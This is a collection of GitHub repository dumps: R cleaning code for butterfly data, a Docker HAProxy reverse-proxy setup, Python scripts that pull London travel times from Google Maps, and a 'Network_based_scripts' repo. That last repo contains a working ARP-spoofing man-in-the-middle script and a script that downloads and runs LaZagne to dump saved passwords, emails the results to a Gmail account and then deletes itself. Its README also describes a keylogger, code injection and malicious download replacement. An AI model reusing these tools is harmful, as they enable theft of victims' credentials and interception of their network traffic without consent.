legrand$date.observed<-parse_date_time(legrand$date.observed,orders='mdy') #bind legrand and fulldat (qualtrics + ubr) fulldat2 <- rbind(legrand, fulldat1facts) #ONE LAST THING. There are some (8) incorrect dates in qualtrics from 2020 #we could try fixing these in the cleaning script #I made some changes to the original cleaning script, so I'd like to try this #in a freshly downloaded version of the qualtrics data ##Some leftover questions #is there overlap between ubr data and qualtrics data? #there are observations (ex. Doxocopa laure) that seem straight-up unlikely #converted Lethe anthedon -> Enodia anthedon #converted Lethe appalachia -> Satyrodes appalachia #export data write.csv(fulldat2, "C:/Users/lhamo/Documents/Biology/mf bflies 2017/myapp_legrand.kingsolver.mf.dat.7.26.2021.csv") #################################################################################### ################REFORMATTING TO ALIGN WITH CLOUDAPP FORMAT ####################################################################################
2c35de752019f43c8f4409659a1a23ad2665ffd6
[ "R" ]
4
R
lhamon31/MFbutterflies
3c816a3cf200fab22ba2e4edcb5b870e75c8f4df
d310ef62bc1f30b167931432ad3cefb9c0530c65
refs/heads/master
<repo_name>bsingr/docker-haproxy-reverseproxy<file_sep>/README.md # Docker HAProxy Reverse Proxy ## Run $ docker run -e TARGET=www.example.com:80 -p 8080:80 bsingr/docker-haproxy-reverseproxy $ curl -s localhost:8080 | grep h1 <h1>Example Domain</h1> ## Build and Publish $ make ## License [MIT LICENSE](LICENSE) <file_sep>/docker-entrypoint.sh #!/bin/sh set -e TARGET=${TARGET:-"example.com:80"} DNS_RESOLVER=${DNS_RESOLVER:-"8.8.8.8:53"} # render the template with config cp haproxy.cfg.tpl /usr/local/etc/haproxy/haproxy.cfg sed -i "s/{{DNS_RESOLVER}}/$DNS_RESOLVER/" /usr/local/etc/haproxy/haproxy.cfg sed -i "s/{{TARGET}}/$TARGET/" /usr/local/etc/haproxy/haproxy.cfg # -W -- "master-worker mode" (similar to the old "haproxy-systemd-wrapper"; allows for reload via "SIGUSR2") # -db -- disables background mode exec haproxy -W -db -f /usr/local/etc/haproxy/haproxy.cfg<file_sep>/Dockerfile FROM haproxy:alpine ADD haproxy.cfg.tpl / ADD docker-entrypoint.sh / RUN chmod +x docker-entrypoint.sh CMD "/docker-entrypoint.sh" <file_sep>/Makefile default: build push build: docker build . -t bsingr/docker-haproxy-reverseproxy push: docker push bsingr/docker-haproxy-reverseproxy
d991c1ed80f7017c62978988197f4ca31321ffb1
[ "Markdown", "Makefile", "Dockerfile", "Shell" ]
4
Markdown
bsingr/docker-haproxy-reverseproxy
7f1333ea705529c3a766838c88553c8a1f9a1a63
5254fc3d4daae99559355f559b070c2cf253d78c
refs/heads/master
<repo_name>abhinavec1/Network_based_scripts<file_sep>/Codes/ARP_Spoofer/arp_spoofer.py import scapy.all as scapy import argparse import sys import time def get_arguments(): parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", dest="target_ip", help="Target IP ") parser.add_argument("-g", "--gateway", dest="gateway_ip", help="Gateway IP ") options = parser.parse_args() if not options.target_ip: parser.error("[-] Please specify a target IP, use --help for more info") if not options.gateway_ip: parser.error("[-] Please specify a gateway IP, use --help for more info") return options def get_mac(ip): arp_request = scapy.ARP(pdst=ip) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] for element in answered_list: return element[1].hwsrc def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.send(packet, verbose=False) def restore(destination_ip, source_ip): destination_mac = get_mac(destination_ip) source_mac = get_mac(source_ip) packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac) scapy.send(packet, count=4, verbose=False) options = get_arguments() try: packets_sent_count = 0 while True: spoof(options.target_ip, options.gateway_ip) spoof(options.gateway_ip, options.target_ip) packets_sent_count = packets_sent_count + 2 print("\r[+] Sent : " + str(packets_sent_count)), sys.stdout.flush() time.sleep(2) except KeyboardInterrupt: print("\n[-] Detected Ctrl + C ... Restoring ARP tables..... Please wait.\n") restore(options.target_ip, options.gateway_ip) restore(options.gateway_ip, options.target_ip) <file_sep>/Codes/Download_Lazagne/download_lazagne.py import requests, subprocess, smtplib, os, tempfile def download(url): get_response = requests.get(url) file_name = url.split("/")(-1) with open(file_name, "wb") as out_file: out_file.write(get_response.content) def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, password, message) server.quit() temp_directory = tempfile.gettempdir() os.chdir(temp_directory) download("https://") # write the url of lazagne result = subprocess.check_output("laZagne.exe all", shell = True) send_mail("Email-id", "password", result) os.remove("laZagne.exe")<file_sep>/README.md # Network_based_scripts I have included the scripts to perform the following functions * **MAC address changing** * **Code injecion** * **DNS Spoofing** * **Download lazagne** * **Keylogger and reporting via e-mail** * **Network Scanning** * **Replacing Downloads** * **ARP Soofing** ## Description #### MAC Address changer This programme can be used to change the MAC address i.e. the pyhsical address of your device as visible to other users on your current network. The interface can be chosen by the user for which the change is desired. #### Code Injector This programme can be used to inject mallicious code in the response received from the server of a website. The code was tested successfully for the following piece of code `<script>alert('test');</script>` #### DNS Spoofer DNS stands for Domain Name System. This programme can be used to redirect a user to differnet URL when a particular Domain Name/URL is requested. #### Download Lazagne **Lazagne** is a post exploitation tool generally used to render saved passwords on the target computer. But I have added a mailing feature in the programme which allows Lazagne to work as a pre exploitation tool by sending the saved passwords on a desired e-mail in a text file. Also the programme atomatically deletes after carrying out the desired operation. #### Keylogger The programme can be used to record every key strike on the target computer and also send the results to a desired email in a text file. #### Network Scanner The programme can be used to find out other devices connected on your current network. It provides information of their Internal IP Adresses as well as MAC Adresses #### Replacing Downloads The programme can be used to replace downloads for a target computer by a malicious file on the fly. #### ARP Spoofer ARP stands for Address Resolution Protocol. This protocol is used to resolve MAC Address for a given IP Adress. This programme allows you to run a basic Man In The Midddle Attack by altering the ARP Tables of both the target and the Router. On Completion of the task the ARP tables are restored. >NOTE * Sripts such as DNS Spoofer, Code Injector and Repalce Downloads can only be used for HTTP websites. For websites that use HTTPS SSL STRIP can be used along with the following scripts. For more info : https://github.com/moxie0/sslstrip * For more info on Lazagne: https://github.com/AlessandroZ/LaZagne
b6afcbbd6c68eb01180fe0dd06a13f187c753157
[ "Markdown", "Python" ]
3
Python
abhinavec1/Network_based_scripts
cdb49f7e5cca940e2e5a6b4215f79a5ee0594d8a
c0dbbff8879778a2dd4385332106086f887478af
refs/heads/master
<file_sep># This Python file tests the basic Google Maps methods # import packages import googlemaps from datetime import datetime import json # initialize Google Maps API using the confidential key gmaps = googlemaps.Client(key='<KEY>'); # geocode geocode_results = gmaps.geocode('Golders Green Station, London NW11 7RN, UK'); # reverse_geocode reverse_geocode_results = gmaps.reverse_geocode((51.58498, -0.18795)); # places places_results = gmaps.places('restaurant', location="Golders Green Station, London NW11 7RN, UK", radius=1, open_now=True); # timezone timezone_results = gmaps.timezone((51.5722886, -0.2052818)); # elevation elevation_results = gmaps.elevation((51.5722886, -0.2052818)); # snap_to_roads: get the best-fit roads from path snap_to_roads_results = gmaps.snap_to_roads((51.5722886, -0.2052818)); # directions departure_time = datetime.strptime('2016/11/28 08:30:00', '%Y/%m/%d %H:%M:%S'); walking_routes = gmaps.directions("Golders Green Station, London NW11 7RN, UK", "East Finchley Station, London N2 0NW, UK", mode="walking", avoid=["highways", "tolls", "ferries", "indoor"], departure_time = departure_time, units="metric", region="uk"); # directions transit_routes = gmaps.directions("51.577185, -0.1930704", "Golders Green Station, London NW11 7RN, UK", mode="transit", alternatives="true", transit_routing_preference="fewer_transfers", departure_time = departure_time, units="metric", region="uk"); # indent the json-type geocode_results to make the printing reader-friendly print(json.dumps(geocode_results, indent=4));<file_sep>import csv import numpy as np import pyproj mu, sigma = 0, 5 f = open('demand.csv', 'rb') w = open('demand2.csv', 'wb') reader = csv.reader(f) writer= csv.writer(w) # next(reader, None) # skip the headers # British National Grid bng = pyproj.Proj(init='epsg:27700') # World Geodetic System for GPS wgs84 = pyproj.Proj(init='epsg:4326') # pyproj.transform(from, to, easting, northing) # process both files row by row for row in reader: wrow = [] est = float(row[1]) + np.random.normal(mu, sigma, 1) nth = float(row[2]) + np.random.normal(mu, sigma, 1) lng, lat = pyproj.transform(bng, wgs84, est, nth) wrow.append(lat[0]) wrow.append(lng[0]) est = float(row[3]) + np.random.normal(mu, sigma, 1) nth = float(row[4]) + np.random.normal(mu, sigma, 1) lng, lat = pyproj.transform(bng, wgs84, est, nth) wrow.append(lat[0]) wrow.append(lng[0]) wrow.append(float(row[0])/10) writer.writerow(wrow) f.close(); w.close();<file_sep>import numpy as np import matplotlib.pyplot as plt import csv f = open('output_Garden_161218.csv', 'rb'); reader = csv.reader(f); next(reader, None); K = 3; S = 8; N = 20; results = np.zeros((4,K,S,N)); k = 0; s = 0; n = 0; for row in reader: results[0][k][s][n] = row[2]; results[1][k][s][n] = row[3]; results[2][k][s][n] = row[4]; results[3][k][s][n] = row[5]; n = n+1; if (n == N): n = 0; s = s+1; if (s == S): s = 0; k = k+1; if (k == K): break; fig1 = plt.figure(); ind = np.arange(1,9); ax1 = fig1.add_subplot(131); ax1.boxplot(results[0][0].transpose()); # ax1.plot(ind, np.median(results[0][0], axis=1), color='r', ls='--'); ax1.set_title('Non-shared Vehicle'); ax1.set_ylim([0, 1.05]); ax1.set_xlabel('Number of Vehicles'); ax1.set_ylabel('Request Response Rate'); ax2 = fig1.add_subplot(132); ax2.boxplot(results[0][1].transpose()); # ax2.plot(ind, np.median(results[0][1], axis=1), color='r', ls='--'); ax2.set_title('2-seat Shared Vehicle'); ax2.set_ylim([0, 1.05]); ax2.set_xlabel('Number of Vehicles'); ax3 = fig1.add_subplot(133); ax3.boxplot(results[0][2].transpose()); # ax3.plot(ind, np.median(results[0][2], axis=1), color='r', ls='--'); ax3.set_title('4-seat Shared Vehicle'); ax3.set_ylim([0, 1.05]); ax3.set_xlabel('Number of Vehicles'); fig2 = plt.figure(); ind = np.arange(1,9); width = 0.4; ax1 = fig2.add_subplot(131); bar1 = np.mean(results[1][0], axis=1); bar2 = np.mean(results[2][0], axis=1); bar3 = np.mean(results[3][0], axis=1); err1 = np.std(results[1][0], axis=1); err2 = np.std(results[2][0], axis=1); err3 = np.std(results[3][0], axis=1); p1 = ax1.bar(ind-width/2, bar1, width, color='cyan', yerr=err1); p2 = ax1.bar(ind-width/2, bar2, width, bottom=bar1, color='yellow', yerr=err2); p3 = ax1.bar(ind-width/2, bar3, width, bottom=bar1+bar2, color='orange', yerr=err3); ax1.set_ylim([0, 1400]); ax1.set_title('Non-shared Vehicle'); ax1.set_xlabel('Number of Vehicles'); ax1.set_ylabel('Average Response/Wait/Travel Time (s)'); ax2 = fig2.add_subplot(132); bar1 = np.mean(results[1][1], axis=1); bar2 = np.mean(results[2][1], axis=1); bar3 = np.mean(results[3][1], axis=1); err1 = np.std(results[1][1], axis=1); err2 = np.std(results[2][1], axis=1); err3 = np.std(results[3][1], axis=1); p1 = ax2.bar(ind-width/2, bar1, width, color='cyan', yerr=err1); p2 = ax2.bar(ind-width/2, bar2, width, bottom=bar1, color='yellow', yerr=err2); p3 = ax2.bar(ind-width/2, bar3, width, bottom=bar1+bar2, color='orange', yerr=err3); ax2.set_ylim([0, 1400]); ax2.set_title('2-seat Shared Vehicle'); ax2.set_xlabel('Number of Vehicles'); ax3 = fig2.add_subplot(133); bar1 = np.mean(results[1][2], axis=1); bar2 = np.mean(results[2][2], axis=1); bar3 = np.mean(results[3][2], axis=1); err1 = np.std(results[1][2], axis=1); err2 = np.std(results[2][2], axis=1); err3 = np.std(results[3][2], axis=1); p1 = ax3.bar(ind-width/2, bar1, width, color='cyan', yerr=err1); p2 = ax3.bar(ind-width/2, bar2, width, bottom=bar1, color='yellow', yerr=err2); p3 = ax3.bar(ind-width/2, bar3, width, bottom=bar1+bar2, color='orange', yerr=err3); ax3.set_ylim([0, 1400]); ax3.set_title('4-seat Shared Vehicle'); ax3.set_xlabel('Number of Vehicles'); plt.show();<file_sep># This Python file gets the travel distances and times from each address to the access stations # using Google Maps API - Direction. # # The address and name of the access station have to be modified manually. # # The results are written in a .csv file (e.g. add_pop_path_GG.csv). # # Columns of the .csv file: # - Point: Point ID; # - PntLng: Longitude of the point; # - PntLat: Latitude of the point; # - Address: The closest address from this point (API reverse geocode); # - LocID: GMaps Location ID of the address; # - AddLng: Longitude of the address; # - AddLat: Latitude of the address; # - Zone: Zone that the address belongs to; # - ZonePop: Zone population; # - CountAdd: Number of address in the zone; # - AddPop: Address polulation (= ZonePop / CountAdd); # - WalkDis: Walk distance (in meters) from address to station # - WalkTime: Walk time (in seconds) from address to station # - AutoDis: Driving distance (in meters) from address to station # - AutoTime: Driving time (in seconds) from address to station # # Bus trip is defined as a combination of three steps: access (address - bus boarding stop), # # in-vehicle (bus boarding stop - bus alighting stop) and egress (bus alighting stop - # # underground station). # # Distances of the three steps add up to total distance. # # Times of the three steps DO NOT add up to total time (a small difference exists, may due to # # Google Direction algorithm) # - BusDis: Total bus trip distance (in meters) from address to station # - BusTime: Total bus trip time (in seconds) from address to station (excluding wait time) # - BusAccDis: Bus access distance (in meters) # - BusAccTime: Bus access time (in seconds) # - BusRoute: Bus route name # - BusBoard: Boarding stop name; # - BusStops: Number of stops from boarding to alighting # - BusVehDis: In-vehicle distance (in meters) # - BusVehTime: In-vehicle time (in seconds) # - BusAlight: Alighting stop name; # - BusEgsDis: Bus egress distance (in meters) # - BusEgsTime: Bus egress time (in seconds) # - BusAlt: if there are alternative bus routes, continues to write from "BusDis"; otherwise, ends with "#" # import packages import googlemaps import csv from datetime import datetime, timedelta import json # initialize Google Maps API using the confidential key gmaps = googlemaps.Client(key='<KEY>'); # open .csv files: address_pop_test.csv in 'read' mode f = open('address_pop_test.csv', 'rb'); # open .csv files: add_pop_path_GG.csv in 'write' mode w = open('add_pop_path_EF_test.csv', 'wb') reader = csv.reader(f); writer= csv.writer(w); # copy and write the header row = next(reader, None); row.append("WalkDis"); row.append("WalkTime"); row.append("AutoDis"); row.append("AutoTime"); row.append("BusDis"); row.append("BusTime"); row.append("BusAccDis"); row.append("BusAccTime"); row.append("BusRoute"); row.append("BusBoard"); row.append("BusStops"); row.append("BusVehDis"); row.append("BusVehTime"); row.append("BusAlight"); row.append("BusEgsDis"); row.append("BusEgsTime"); row.append("BusAlt"); writer.writerow(row); # initialize the departure time (8:00 am EST = 1:00 pm in London) departure_time = datetime.strptime('2016/12/10 08:00:00 EST', '%Y/%m/%d %H:%M:%S %Z'); # initialize the destination station # destination = "Golders Green Station, London NW11 7RN, UK"; # destination_name = "<NAME>"; destination = "East Finchley Station, London N2 0NW, UK"; destination_name = "East Finchley Station"; # process the file row by row for row in reader: # read latitude and longitude of address according to the coordinates id = row[0]; add = row[3]; lat = float(row[6]); lng = float(row[5]); # directions - walking routes = gmaps.directions((lat, lng), destination, mode="walking", departure_time=departure_time, units="metric", region="uk"); walking_dis = routes[0]["legs"][0]["distance"]["value"]; walking_time = routes[0]["legs"][0]["duration"]["value"]; row.append(walking_dis); row.append(walking_time); # print " Walking -", "distance:", walking_dis, "m ; time:", walking_time, "s."; # directions - driving routes = gmaps.directions((lat, lng), destination, mode="driving", departure_time=departure_time, units="metric", region="uk"); driving_dis = routes[0]["legs"][0]["distance"]["value"]; driving_time = routes[0]["legs"][0]["duration"]["value"]; row.append(driving_dis); row.append(driving_time); # print " Driving -", "distance:", driving_dis, "m ; time:", driving_time, "s."; # directions - transit transit_dis = []; transit_time = []; transit_access_dis = []; transit_access_time = []; transit_feeder_route = []; transit_feeder_board = []; transit_feeder_stops = []; transit_feeder_dis = []; transit_feeder_time = []; transit_feeder_alight = []; transit_egress_dis = []; transit_egress_time = []; count = -1; for dt in range(0,90,10): # get routes every 10 minutes from 1:00 pm to 2:30 pm transit_departure_time = departure_time + timedelta(minutes=dt); routes = gmaps.directions((lat, lng), destination, mode="transit", departure_time=transit_departure_time, units="metric", region="uk", alternatives="true"); for i in range(len(routes)): # skip the route: # - has only one step (walking directly) # - first step is not walking # - second step is not transit # - already exists in the list # save "address - walk - stop - transit - stop - (walk) - station" routes if (len(routes[i]["legs"][0]["steps"]) < 2): continue; elif (routes[i]["legs"][0]["steps"][0]["travel_mode"] != "WALKING"): continue; elif (routes[i]["legs"][0]["steps"][1]["travel_mode"] != "TRANSIT"): continue; else: flag = 0; for j in range(len(transit_feeder_route)): if (transit_feeder_route[j] == routes[i]["legs"][0]["steps"][1]["transit_details"]["line"]["short_name"]): flag = 1; break; if (flag): continue; count += 1; transit_dis.append(routes[i]["legs"][0]["distance"]["value"]); transit_time.append(routes[i]["legs"][0]["duration"]["value"]); transit_access_dis.append(routes[i]["legs"][0]["steps"][0]["distance"]["value"]); transit_access_time.append(routes[i]["legs"][0]["steps"][0]["duration"]["value"]); transit_feeder_route.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["line"]["short_name"]); transit_feeder_board.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["departure_stop"]["name"]); transit_feeder_alight.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["arrival_stop"]["name"]); transit_feeder_stops.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["num_stops"]); transit_feeder_dis.append(routes[i]["legs"][0]["steps"][1]["distance"]["value"]); transit_feeder_time.append(routes[i]["legs"][0]["steps"][1]["duration"]["value"]); if (len(routes[i]["legs"][0]["steps"]) > 2): if (routes[i]["legs"][0]["steps"][0]["travel_mode"] == "WALKING"): transit_egress_dis.append(routes[i]["legs"][0]["steps"][2]["distance"]["value"]); transit_egress_time.append(routes[i]["legs"][0]["steps"][2]["duration"]["value"]); else: transit_egress_dis.append(0); transit_egress_time.append(0); else: transit_egress_dis.append(0); transit_egress_time.append(0); # print " Transit", count, "- distance:", transit_dis[count], "m ; time:", transit_time[count], "s."; # print " # Walk to", transit_feeder_alight[count], "(", transit_access_dis[count], "m,", transit_access_time[count], "s);"; # print " Route", transit_feeder_route[count], "to", transit_feeder_alight[count], \ # "(", transit_feeder_dis[count], "m,", transit_feeder_time[count], "s,", transit_feeder_stops[count], "stops);"; # print " Walk to", destination_name, "(", transit_egress_dis[count], "m,", transit_egress_time[count], "s)"; print(json.dumps(routes, indent=4)); for r in range(len(transit_feeder_route)): row.append(transit_dis[r]); row.append(transit_time[r]); row.append(transit_access_dis[r]); row.append(transit_access_time[r]); row.append(transit_feeder_route[r]); row.append(transit_feeder_board[r]); row.append(transit_feeder_stops[r]); row.append(transit_feeder_dis[r]); row.append(transit_feeder_time[r]); row.append(transit_feeder_alight[r]); row.append(transit_egress_dis[r]); row.append(transit_egress_time[r]); row.append("#"); writer.writerow(row); print id, ":", add, "(", lat, ",", lng, "); ", len(transit_feeder_route), "bus alternatives."; # close the files f.close(); w.close(); <file_sep># This Python file gets the travel distances and times from each address to # the access stations using Google Maps Direction # import packages import googlemaps import csv from datetime import datetime import json # initialize Google Maps API using the confidential key gmaps = googlemaps.Client(key='<KEY>'); # open .csv files: address_pop_test.csv in 'read' mode f = open('address_pop_test.csv', 'rb'); reader = csv.reader(f); # skip the header print next(reader, None); departure_time = datetime.strptime('2016/11/30 03:00:00 EST', '%Y/%m/%d %H:%M:%S %Z'); destination = "Golders Green Station, London NW11 7RN, UK"; destination_name = "Golders Green Station"; # process the file row by row for row in reader: # read latitude and longitude of address according to the coordinates id = row[0]; add = row[3]; lat = float(row[6]); lng = float(row[5]); print id, ":", add, "(", lat, ",", lng, ")"; # directions routes = gmaps.directions((lat, lng), destination, mode="walking", departure_time=departure_time, units="metric", region="uk"); walking_dis = routes[0]["legs"][0]["distance"]["value"]; walking_time = routes[0]["legs"][0]["duration"]["value"]; print " Walking -", "distance:", walking_dis, "m ; time:", walking_time, "s."; routes = gmaps.directions((lat, lng), destination, mode="driving", departure_time=departure_time, units="metric", region="uk"); driving_dis = routes[0]["legs"][0]["distance"]["value"]; driving_time = routes[0]["legs"][0]["duration"]["value"]; print " Driving -", "distance:", driving_dis, "m ; time:", driving_time, "s."; routes = gmaps.directions((lat, lng), destination, mode="transit", departure_time=departure_time, units="metric", region="uk", alternatives="true"); transit_dis = []; transit_time = []; transit_walk_dis = []; transit_walk_time = []; transit_feeder_route = []; transit_feeder_start = []; transit_feeder_end = []; transit_feeder_stops = []; transit_feeder_dis = []; transit_feeder_time = []; transit_transfer_dis = []; transit_transfer_time = []; count = -1; for i in range(len(routes)): if (len(routes[i]["legs"][0]["steps"]) < 2): continue; elif (routes[i]["legs"][0]["steps"][0]["travel_mode"] != "WALKING"): continue; elif (routes[i]["legs"][0]["steps"][1]["travel_mode"] != "TRANSIT"): continue; else: flag = 0; for j in range(count+1): if (transit_feeder_route[j] == routes[i]["legs"][0]["steps"][1]["transit_details"]["line"]["short_name"]): flag = 1; break; if (flag): continue; count += 1; transit_dis.append(routes[i]["legs"][0]["distance"]["value"]); transit_time.append(routes[i]["legs"][0]["duration"]["value"]); transit_walk_dis.append(routes[i]["legs"][0]["steps"][0]["distance"]["value"]); transit_walk_time.append(routes[i]["legs"][0]["steps"][0]["duration"]["value"]); transit_feeder_route.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["line"]["short_name"]); transit_feeder_start.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["departure_stop"]["name"]); transit_feeder_end.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["arrival_stop"]["name"]); transit_feeder_stops.append(routes[i]["legs"][0]["steps"][1]["transit_details"]["num_stops"]); transit_feeder_dis.append(routes[i]["legs"][0]["steps"][1]["distance"]["value"]); transit_feeder_time.append(routes[i]["legs"][0]["steps"][1]["duration"]["value"]); if (len(routes[i]["legs"][0]["steps"]) > 2): if (routes[i]["legs"][0]["steps"][0]["travel_mode"] == "WALKING"): transit_transfer_dis.append(routes[i]["legs"][0]["steps"][2]["distance"]["value"]); transit_transfer_time.append(routes[i]["legs"][0]["steps"][2]["duration"]["value"]); else: transit_transfer_dis.append(0); transit_transfer_time.append(0); else: transit_transfer_dis.append(0); transit_transfer_time.append(0); print " Transit", count, "- distance:", transit_dis[count], "m ; time:", transit_time[count], "s."; print " # Walk to", transit_feeder_start[count], "(", transit_walk_dis[count], "m,", transit_walk_time[count], "s);"; print " Route", transit_feeder_route[count], "to", transit_feeder_end[count], \ "(", transit_feeder_dis[count], "m,", transit_feeder_time[count], "s,", transit_feeder_stops[count], "stops);"; print " Walk to", destination_name, "(", transit_transfer_dis[count], "m,", transit_transfer_time[count], "s)"; # print(json.dumps(routes, indent=4)); # close the files f.close(); <file_sep>import csv f = open('add_pop_path_anylogic.csv', 'rb'); w = open('add_pop_path_anylogic2.csv', 'wb'); reader = csv.reader(f); writer= csv.writer(w, delimiter=';'); for row in reader: writer.writerow(row); f.close(); w.close();<file_sep># This Python file gets the travel distances and times using Google Maps API - Direction. # # The results are written in a .csv file. # import packages import googlemaps import csv from datetime import datetime, timedelta import json # initialize Google Maps API using the confidential key gmaps = googlemaps.Client(key='<KEY>') # open .csv files: trips.csv in 'read' mode f = open('latlongconversion_copy.csv', 'rb') # open .csv files: trips_attributes.csv in 'write' mode w = open('trips_attributes.csv', 'wb') # reader for f file reader = csv.reader(f) # writer for w file writer = csv.writer(w) # read the header from f row = next(reader, None) # add the columns to the header and write to w row.append("WalkDis") row.append("WalkTime") row.append("BikeDis") row.append("BikeTime") row.append("AutoDis") row.append("AutoTime") row.append("AutoIsToll") row.append("TransitDis") row.append("TransitTime") row.append("TransitWalkDis") row.append("TransitWalkTime") row.append("TransitInVehDis") row.append("TransitInVehTime") row.append("TransitNumSteps") row.append("TransitLineNames") writer.writerow(row) # initialize the departure time (4:00 am EST = 9:00 pm in London) departure_time = datetime.strptime('2017/05/31 04:00:00 EST', '%Y/%m/%d %H:%M:%S %Z') # process the file row by row count = 0 for row in reader: count += 1 # read latitude and longitude of address according to the coordinates olat = float(row[5]) olng = float(row[6]) dlat = float(row[7]) dlng = float(row[8]) # directions - walking routes = gmaps.directions((olat, olng), (dlat, dlng), mode="walking", departure_time=departure_time, alternatives=False, units="metric", region="uk") assert len(routes) == 1 assert len(routes[0]["legs"]) == 1 # print(json.dumps(routes, indent=4)) walk_dis = routes[0]["legs"][0]["distance"]["value"] walk_time = routes[0]["legs"][0]["duration"]["value"] row.append(walk_dis) row.append(walk_time) # directions - biking routes = gmaps.directions((olat, olng), (dlat, dlng), mode="bicycling", departure_time=departure_time, alternatives=False, units="metric", region="uk") assert len(routes) == 1 assert len(routes[0]["legs"]) == 1 # print(json.dumps(routes, indent=4)) bike_dis = routes[0]["legs"][0]["distance"]["value"] bike_time = routes[0]["legs"][0]["duration"]["value"] row.append(bike_dis) row.append(bike_time) # directions - driving routes = gmaps.directions((olat, olng), (dlat, dlng), mode="driving", departure_time=departure_time, alternatives=False, units="metric", region="uk") # print(json.dumps(routes, indent=4)) assert len(routes) == 1 assert len(routes[0]["legs"]) == 1 auto_dis = routes[0]["legs"][0]["distance"]["value"] auto_time = routes[0]["legs"][0]["duration"]["value"] row.append(auto_dis) row.append(auto_time) row.append(1 if "Toll road" in routes or "Partial toll road" in routes else 0) # directions - transit routes = gmaps.directions((olat, olng), (dlat, dlng), mode="transit", departure_time=departure_time, alternatives=False, units="metric", region="uk"); assert len(routes) == 1 assert len(routes[0]["legs"]) == 1 transit_dis = routes[0]["legs"][0]["distance"]["value"] transit_time = routes[0]["legs"][0]["duration"]["value"] transit_walk_dis = 0.0 transit_walk_time = 0.0 transit_veh_dis = 0.0 transit_veh_time = 0.0 transit_num_steps = 0 transit_line_names = "" for step in routes[0]["legs"][0]["steps"]: if step["travel_mode"] == "WALKING": transit_walk_dis += step["distance"]["value"] transit_walk_time += step["duration"]["value"] elif step["travel_mode"] == "TRANSIT": transit_veh_dis += step["distance"]["value"] transit_veh_time += step["duration"]["value"] transit_num_steps += 1 if "short_name" in step["transit_details"]["line"]: transit_line_names += step["transit_details"]["line"]["short_name"] + "/" else: transit_line_names += step["transit_details"]["line"]["name"] + "/" row.append(transit_dis) row.append(transit_time) row.append(transit_walk_dis) row.append(transit_walk_time) row.append(transit_veh_dis) row.append(transit_veh_time) row.append(transit_num_steps) row.append(transit_line_names) writer.writerow(row) print count, " processing Trip ", row[0], " from (", olat, ",", olng, ") to (", dlat, ",", dlng, ")" # close the files f.close(); w.close(); <file_sep>import pyproj import csv # open .csv files: trips.csv in 'read' mode f = open('trips.csv', 'rb') # open .csv files: trips_attributes.csv in 'write' mode w = open('latlongconversion.csv', 'wb') # reader for f file reader = csv.reader(f) # writer for w file writer = csv.writer(w) row = next(reader, None) # add the columns to the header and write to w row.append("olat") row.append("olng") row.append("dlat") row.append("dlng") writer.writerow(row) # British National Grid bng = pyproj.Proj(init='epsg:27700') # World Geodetic System for GPS wgs84 = pyproj.Proj(init='epsg:4326') for row in reader: oest = float(row[1]) onth = float(row[2]) dest = float(row[3]) dnth = float(row[4]) print "processing Trip ", row[0], " from (", oest, ",", onth, ") to (", dest, ",", dnth, ")" # pyproj.transform(from, to, easting, northing) olng, olat = pyproj.transform(bng, wgs84, oest, onth) dlng, dlat = pyproj.transform(bng, wgs84, dest, dnth) row.append(olat) row.append(olng) row.append(dlat) row.append(dlng) writer.writerow(row) print "processed Trip ", row[0], " from (", olat, ",", olng, ") to (", dlat, ",", dlng, ")" f.close(); w.close(); <file_sep># This Python file reads coordinates of randon points from .csv and # converts them to nearest address using reverse_geocode() # import packages import googlemaps import csv import json # initialize Google Maps API using the confidential key gmaps = googlemaps.Client(key='<KEY>'); # open .csv files: random_points.csv in 'read' mode, addresses.csv in 'write' mode f = open('random_points.csv', 'rb'); w = open('addresses.csv', 'wb') reader = csv.reader(f); writer= csv.writer(w); # skip the header next(reader, None); # process both files row by row for row in reader: # get the address, place_id, latitude and longitude according to the coordinates print "# Get the reverse geocode from Google for " + row[0], row[1]; reverse_geocode_results = gmaps.reverse_geocode((float(row[0]), float(row[1]))); print "# Print the first item of the reverse geocode results"; print(json.dumps(reverse_geocode_results[0], indent=4)); address = reverse_geocode_results[0]['formatted_address']; place_id = reverse_geocode_results[0]['place_id']; lat = reverse_geocode_results[0]['geometry']['location']['lat']; lng = reverse_geocode_results[0]['geometry']['location']['lng']; print "# Print the needed information for csv writing"; print row[0], row[1], address, place_id, lat, lng; print ; # have wrow ready to write wrow = row; wrow.append(address); wrow.append(place_id); wrow.append(lat); wrow.append(lng); writer.writerow(wrow); # close the files f.close(); w.close(); <file_sep># This Python file gets the travel distances and times from each address to the access stations # using Google Maps API - Direction. # # The address and name of the access station have to be modified manually. # # The results are written in a .csv file (e.g. add_pop_path_GG.csv). # # Columns of the .csv file: # - Point: Point ID; # - PntLng: Longitude of the point; # - PntLat: Latitude of the point; # - Address: The closest address from this point (API reverse geocode); # - LocID: GMaps Location ID of the address; # - AddLng: Longitude of the address; # - AddLat: Latitude of the address; # - Zone: Zone that the address belongs to; # - ZonePop: Zone population; # - CountAdd: Number of address in the zone; # - AddPop: Address polulation (= ZonePop / CountAdd); # - WalkDis: Walk distance (in meters) from address to station # - WalkTime: Walk time (in seconds) from address to station # - AutoDis: Driving distance (in meters) from address to station # - AutoTime: Driving time (in seconds) from address to station # # Bus trip is defined as a combination of three steps: access (address - bus boarding stop), # # in-vehicle (bus boarding stop - bus alighting stop) and egress (bus alighting stop - # # underground station). # # Distances of the three steps add up to total distance. # # Times of the three steps DO NOT add up to total time (a small difference exists, may due to # # Google Direction algorithm) # - BusDis: Total bus trip distance (in meters) from address to station # - BusTime: Total bus trip time (in seconds) from address to station (excluding wait time) # - BusAccDis: Bus access distance (in meters) # - BusAccTime: Bus access time (in seconds) # - BusRoute: Bus route name # - BusBoard: Boarding 